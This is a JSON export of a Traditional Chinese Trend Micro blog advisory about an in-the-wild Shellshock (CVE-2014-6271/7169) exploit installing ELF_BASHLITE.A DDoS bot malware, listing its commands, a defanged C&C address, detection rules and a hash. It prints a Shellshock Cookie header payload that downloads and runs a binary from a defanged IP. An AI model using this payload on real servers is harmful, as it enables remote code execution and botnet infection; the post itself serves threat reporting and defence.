{"id":9955,"date":"2014-09-26T22:51:35","date_gmt":"2014-09-26T14:51:35","guid":{"rendered":"https:\/\/blog.trendmicro.com.tw\/?p=9955"},"modified":"2016-11-07T17:04:49","modified_gmt":"2016-11-07T09:04:49","slug":"shellshockbash-%e6%bc%8f%e6%b4%9e%e5%b7%b2%e5%87%ba%e7%8f%be%e6%94%bb%e6%93%8a%e8%a1%8c%e5%8b%95%e5%8f%af%e7%99%bc%e5%8b%95%e5%88%86%e6%95%a3%e5%bc%8f%e9%98%bb%e6%96%b7%e6%9c%8d%e5%8b%99%ef%bc%88ddo","status":"publish","type":"post","link":"https:\/\/blog.trendmicro.com.tw\/?p=9955","title":{"rendered":"Shellshock\/bash \u6f0f\u6d1e\u653b\u64ca\u73fe\u8eab,ELF_BASHLITE.A\u53ef\u767c\u52d5 DDoS \u653b\u64ca"},"content":{"rendered":"<p>\u5728<a href=\"https:\/\/blog.trendmicro.com.tw\/?p=9947\">Shellshock\/bash \u6f0f\u6d1e<\/a>\uff08\u5305\u542b\u5728<a href=\"https:\/\/web.nvd.nist.gov\/view\/vuln\/detail?vulnId=CVE-2014-7169\">CVE-2014-7169<\/a>\uff09\u65b0\u805e\u7206\u767c\u5f8c\u77ed\u77ed\u5e7e\u500b\u5c0f\u6642\u5c31\u51fa\u73fe\u4e86\u771f\u5be6\u7684\u6f0f\u6d1e\u653b\u64ca\u4e8b\u4ef6\u3002\u9019\u4e00\u500b\u6f0f\u6d1e\u53ef\u4ee5\u8b93\u4eba\u57f7\u884c\u4efb\u610f\u7a0b\u5f0f\u78bc\uff0c\u5f9e\u800c\u5f71\u97ff\u7cfb\u7d71\u5b89\u5168\u3002\u653b\u64ca\u8005\u53ef\u80fd\u505a\u51fa\u7684\u5305\u62ec\u8b8a\u66f4\u7db2\u7ad9\u5167\u5bb9\u548c\u7db2\u7ad9\u7a0b\u5f0f\u78bc\u3001\u6c61\u640d\u7db2\u7ad9\u5916\u8c8c\uff0c\u751a\u81f3\u662f\u5f9e\u8cc7\u6599\u5eab\u7aca\u53d6\u4f7f\u7528\u8005\u8cc7\u6599\u4ee5\u53ca\u5176\u4ed6\u66f4\u591a\u4e8b\u60c5\u3002<\/p>\n<p><a href=\"https:\/\/www.trendmicro.com.tw\/edm\/Tracking.asp?id=2651&amp;name=20110916\">\u8da8\u52e2\u79d1\u6280<\/a>\u767c\u73fe\u4e86\u771f\u5be6\u6f0f\u6d1e\u653b\u64ca\u78bc\u6240\u5e36\u4f86\u60e1\u610f\u8edf\u9ad4\u7684\u6a23\u672c\u3002\u5075\u6e2c\u70ba<a href=\"https:\/\/about-threats.trendmicro.com\/us\/malware\/ELF_BASHLITE.A\">ELF_BASHLITE.A<\/a>\uff08\u4e5f\u88ab\u7a31\u70baELF_FLOODER.W\uff09\uff0c\u6b64\u60e1\u610f\u8edf\u9ad4\u53ef\u4ee5\u767c\u52d5\u5206\u6563\u5f0f\u963b\u65b7\u670d\u52d9\uff08DDoS\uff09\u653b\u64ca\u3002\u5b83\u6240\u6703\u57f7\u884c\u7684\u6307\u4ee4\u5305\u62ec\u6709\uff1a<\/p>\n<ul>\n<li>PING<\/li>\n<li>GETLOCALIP<\/li>\n<li>SCANNER<\/li>\n<li>HOLD \u66ab\u505c\u6216\u662f\u5ef6\u5f8c\u653b\u64ca\u4e00\u7d66\u5b9a\u6642\u9593<\/li>\n<li>JUNK \u5783\u573e\u6d2a\u6c34\u653b\u64ca<\/li>\n<li>UDP \u7528UDP\u5c01\u5305\u505a\u5206\u6563\u5f0f\u963b\u65b7\u670d\u52d9\u653b\u64ca<\/li>\n<li>TCP \u7528TCP\u5c01\u5305\u505a\u5206\u6563\u5f0f\u963b\u65b7\u670d\u52d9\u653b\u64ca<\/li>\n<li>KILLATTK \u2013 \u7d42\u6b62\u653b\u64ca\u57f7\u884c\u7dd2<\/li>\n<li>LOLNOGTFO \u2013 \u7d42\u6b62\u50f5\u5c4d\u6a5f\u5668\u4eba<\/li>\n<\/ul>\n<p>\u5b83\u4e5f\u53ef\u4ee5\u505a\u5230\u66b4\u529b\u6cd5\u767b\u5165\uff0c\u8b93\u653b\u64ca\u8005\u53ef\u4ee5\u53d6\u5f97\u767b\u5165\u4f7f\u7528\u8005\u548c\u5bc6\u78bc\u7684\u5217\u8868\u3002\u6839\u64da\u6211\u5011\u7684\u5206\u6790\uff0cELF_BASHLITE.A\u4e5f\u6703\u9023\u5230 C&amp;C\u4f3a\u670d\u5668 \u2013 89[\u9ede]238[\u9ede]150[\u9ede]154[\u5192\u865f]5\u3002<\/p>\n<figure class=\"thumbnail wp-caption alignnone\" style=\"width: 717px\"><img loading=\"lazy\" decoding=\"async\" src=\"https:\/\/blog.trendmicro.com\/trendlabs-security-intelligence\/files\/2014\/09\/BASHLITE-diagram.png\" alt=\"\" width=\"707\" height=\"141\" \/><figcaption class=\"caption wp-caption-text\">\u9ede\u5c0f\u5716\u53ef\u653e\u5927<\/figcaption><\/figure>\n<p><em>\u57161\u3001\u5a01\u8105\u611f\u67d3\u793a\u610f\u5716\uff08\u9ede\u5165\u4ee5\u770b\u5927\u5716\uff09<\/em><\/p>\n<p>&nbsp;<\/p>\n<p>\u4e0b\u9762\u662f\u7528\u4f86\u5e36\u5165\u60e1\u610f\u8edf\u9ad4\u9032\u5230\u7cfb\u7d71\u7684\u7a0b\u5f0f\u78bc\uff1a\u00a0<!--more--><\/p>\n<p>Cookie:().{.:;.};.wget.-O.\/tmp\/besh.https:\/\/162[dot]253[dot]66[dot]76\/nginx;.chmod.777.\/tmp\/besh;.\/tmp\/besh;<\/p>\n<p>\u5982\u540c\u6211\u5011<a href=\"https:\/\/blog.trendmicro.com.tw\/?p=9947\">\u7a0d\u65e9\u767c\u5e03\u7684\u6587\u7ae0<\/a>\u6240\u8a0e\u8ad6\u904e\uff0c\u6b64\u6f0f\u6d1e\u7684\u56b4\u91cd\u6027\u76f8\u7576\u5de8\u5927\uff0c\u56e0\u70ba\u4e3b\u8981\u53d7\u5f71\u97ff\u7684\u662f\u7db2\u9801\u4f3a\u670d\u5668\u3002\u5b83\uff08\u6b64\u6f0f\u6d1e\uff09\u4e5f\u5c0d<a href=\"https:\/\/blog.trendmicro.com.tw\/?p=8802\">\u842c\u7269\u806f\u7db2\uff08IoE ,Internet of Everything\uff09<\/a>\u8a2d\u5099\u5e36\u4f86\u98a8\u96aa\uff0c\u56e0\u70ba\u7528\u7684\u662fLinux\uff08\u5167\u542bBash\uff09\u3002\u64da\u8aaa\u5b83\u4e5f\u5f71\u97ff\u5230\u4e86<a href=\"https:\/\/blog.trendmicro.com.tw\/?p=8103\">\u6bd4\u7279\u5e63\uff08Bitcoin\uff09<\/a>\/\u6bd4\u7279\u5e63\u63a1\u7926\uff0c\u56e0\u6b64\u653b\u64ca\u8005\u5f88\u6709\u53ef\u80fd\u6703\u900f\u904e\u6b64\u9014\u5f91\u4f86\u5efa\u7acb\u8d77<a href=\"https:\/\/blog.trendmicro.com.tw\/?p=106\">\u300cBotnet<em>\u5080\u5121<\/em>\u6bad\u5c4d\u7db2\u8def\u300d<\/a>\u6a5f\u5668\u4eba\u5927\u8ecd\u3002<\/p>\n<p><a href=\"https:\/\/www.trendmicro.com.tw\/edm\/Tracking.asp?id=2651&amp;name=20110916\">\u8da8\u52e2\u79d1\u6280<\/a><a href=\"https:\/\/www.trendmicro.com.tw\/edm\/Tracking.asp?id=1244&amp;name=20090817\">\u4e3b\u52d5\u5f0f\u96f2\u7aef\u622a\u6bd2\u670d\u52d9\u00a0 Smart Protection Network<\/a>\u53ef\u4ee5\u4fdd\u8b77\u4f7f\u7528\u8005\u514d\u65bc\u4e0a\u9762\u6240\u63d0\u5230\u7684BASHLITE\u8b8a\u7a2e\u5a01\u8105\u3002\u6211\u5011\u6703\u7e7c\u7e8c\u89c0\u5bdf\u662f\u5426\u6709\u5176\u4ed6\u6f0f\u6d1e\u653b\u64ca\u91dd\u5c0d\u6b64\u5f31\u9ede\u3002<\/p>\n<p>\u900f\u904e\u7db2\u8def\u4f86\u5c0dShellshock\u6f0f\u6d1e\u9032\u884c\u653b\u64ca\u7684\u4f01\u5716\u53ef\u4ee5\u900f\u904e\u4e0b\u5217Deep Discovery\u898f\u5247\u5075\u6e2c\u5230\uff1a<\/p>\n<ul>\n<li>1618 \u2013 Shellshock HTTP REQUEST<\/li>\n<\/ul>\n<p>\u5176\u4ed6<a href=\"https:\/\/www.trendmicro.com.tw\/edm\/Tracking.asp?id=2651&amp;name=20110916\">\u8da8\u52e2\u79d1\u6280<\/a>\u7522\u54c1\uff08\u8da8\u52e2\u79d1\u6280\u7684OSCE\u3001IWSVA\u548cPC-cillin\uff09\u90fd\u53ef\u4ee5\u5c07\u6b64\u7db2\u8def\u884c\u70ba\u5075\u6e2c\u70baCVE-2014-6271-SHELLSHOCK_REQUEST\u3002<\/p>\n<p>\u6b64\u5916\uff0c\u8da8\u52e2\u79d1\u6280\u7684<a href=\"https:\/\/www.trendmicro.tw\/tw\/enterprise\/cloud-solutions\/deep-security\/index.html\">Deep Security<\/a>\u53ef\u4ee5\u900f\u904e\u4ee5\u4e0bDPI\u898f\u5247\u4f86\u4fdd\u8b77\u4f7f\u7528\u8005\u514d\u65bc\u6b64Bash\u6f0f\u6d1e\u5a01\u8105\uff1a<\/p>\n<ul>\n<li>1006256 \u2013 GNU Bash Remote Code Execution Vulnerability<\/li>\n<\/ul>\n<p>\u5176\u4ed6\u60f3\u8981\u6aa2\u67e5\u81ea\u5df1\u662f\u5426\u53d7\u5230\u5f71\u97ff\u7684\u4f7f\u7528\u8005\u53ef\u4ee5\u67e5\u770b\u6211\u5011\u7684<a href=\"https:\/\/www.trendmicro.com\/us\/security\/shellshock-bash-bug-exploit\/index.html\">Shellshock\u514d\u8cbb\u9632\u8b77<\/a>\u3002\u60f3\u77e5\u9053\u66f4\u591a\u53ef\u80fd\u7684Shellshock\u6f0f\u6d1e\u653b\u64ca\u60c5\u666f\uff0c\u8acb\u53c3\u8003\u6211\u5011\u7684\u6587\u7ae0 \u2013 <a href=\"https:\/\/blog.trendmicro.com.tw\/?p=9947\">Shellshock \u2013 \u5b83\u6709\u591a\u56b4\u91cd\uff1f<\/a><\/p>\n<p>\u6b64\u6b21\u653b\u64ca\u7684\u76f8\u95dc\u96dc\u6e4a\u503c\u662f0229e6fa359bce01954651df2cdbddcdf3e24776\u3002<\/p>\n<p>&nbsp;<\/p>\n<p>\uff20\u539f\u6587\u51fa\u8655\uff1a<a href=\"https:\/\/blog.trendmicro.com\/trendlabs-security-intelligence\/bash-vulnerability-shellshock-exploit-emerges-in-the-wild-leads-to-flooder\/\">Bash Vulnerability (Shellshock) Exploit Emerges in the Wild, Leads to BASHLITE Malware<\/a><\/p>\n<p><a href=\"https:\/\/www.trendmicro.com.tw\/edm\/Tracking.asp?id=2651&amp;name=20110916\">\u8da8\u52e2\u79d1\u6280<\/a>\u6703\u6301\u7e8c\u63d0\u4f9b\u95dc\u65bc\u6b64\u6f0f\u6d1e\u7684\u66f4\u65b0,\u4f7f\u7528\u8005\u53ef\u4ee5\u7684<a href=\"https:\/\/blog.trendmicro.com.tw\/?cat=1761\">\u5230\u9019\u88e1<\/a>\u4f86\u7372\u5f97\u6700\u65b0\u8cc7\u8a0a\u3002<\/p>\n<p><a href=\"https:\/\/blog.trendmicro.com.tw\/?cat=1761\"><img loading=\"lazy\" decoding=\"async\" class=\"aligncenter size-full wp-image-9933\" src=\"https:\/\/blog.trendmicro.com.tw\/wp-content\/uploads\/2014\/09\/Bash-Shell-TM940x312_0926.jpg\" alt=\"Bash Shell TM940x312_0926\" width=\"940\" height=\"312\" srcset=\"https:\/\/blog.trendmicro.com.tw\/wp-content\/uploads\/2014\/09\/Bash-Shell-TM940x312_0926.jpg 940w, https:\/\/blog.trendmicro.com.tw\/wp-content\/uploads\/2014\/09\/Bash-Shell-TM940x312_0926-300x99.jpg 300w, https:\/\/blog.trendmicro.com.tw\/wp-content\/uploads\/2014\/09\/Bash-Shell-TM940x312_0926-600x199.jpg 600w, https:\/\/blog.trendmicro.com.tw\/wp-content\/uploads\/2014\/09\/Bash-Shell-TM940x312_0926-800x266.jpg 800w\" sizes=\"(max-width: 940px) 100vw, 940px\" \/><\/a><\/p>\n<p>&nbsp;<\/p>\n","protected":false},"excerpt":{"rendered":"<p>\u5728Shellshock\/bash \u6f0f\u6d1e\uff08\u5305\u542b\u5728CVE-2014-7169\uff09\u65b0\u805e\u7206\u767c\u5f8c\u77ed\u77ed\u5e7e\u500b\u5c0f\u6642\u5c31\u51fa\u73fe\u4e86\u771f\u5be6\u7684 [&hellip;]<\/p>\n","protected":false},"author":1,"featured_media":9933,"comment_status":"closed","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":"","_wpscppro_dont_share_socialmedia":false,"_wpscppro_custom_social_share_image":0,"_facebook_share_type":"","_twitter_share_type":"","_linkedin_share_type":"","_pinterest_share_type":"","_linkedin_share_type_page":"","_instagram_share_type":"","_medium_share_type":"","_threads_share_type":"","_google_business_share_type":"","_selected_social_profile":[],"_wpsp_enable_custom_social_template":false,"_wpsp_social_scheduling":{"enabled":false,"datetime":null,"platforms":[],"status":"template_only","dateOption":"today","timeOption":"now","customDays":"","customHours":"","customDate":"","customTime":"","schedulingType":"absolute"},"_wpsp_active_default_template":true},"categories":[332,1761,1762,156,179],"tags":[333,1767,1768],"aioseo_notices":[],"_links":{"self":[{"href":"https:\/\/blog.trendmicro.com.tw\/index.php?rest_route=\/wp\/v2\/posts\/9955"}],"collection":[{"href":"https:\/\/blog.trendmicro.com.tw\/index.php?rest_route=\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/blog.trendmicro.com.tw\/index.php?rest_route=\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/blog.trendmicro.com.tw\/index.php?rest_route=\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/blog.trendmicro.com.tw\/index.php?rest_route=%2Fwp%2Fv2%2Fcomments&post=9955"}],"version-history":[{"count":0,"href":"https:\/\/blog.trendmicro.com.tw\/index.php?rest_route=\/wp\/v2\/posts\/9955\/revisions"}],"wp:featuredmedia":[{"embeddable":true,"href":"https:\/\/blog.trendmicro.com.tw\/index.php?rest_route=\/wp\/v2\/media\/9933"}],"wp:attachment":[{"href":"https:\/\/blog.trendmicro.com.tw\/index.php?rest_route=%2Fwp%2Fv2%2Fmedia&parent=9955"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/blog.trendmicro.com.tw\/index.php?rest_route=%2Fwp%2Fv2%2Fcategories&post=9955"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/blog.trendmicro.com.tw\/index.php?rest_route=%2Fwp%2Fv2%2Ftags&post=9955"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}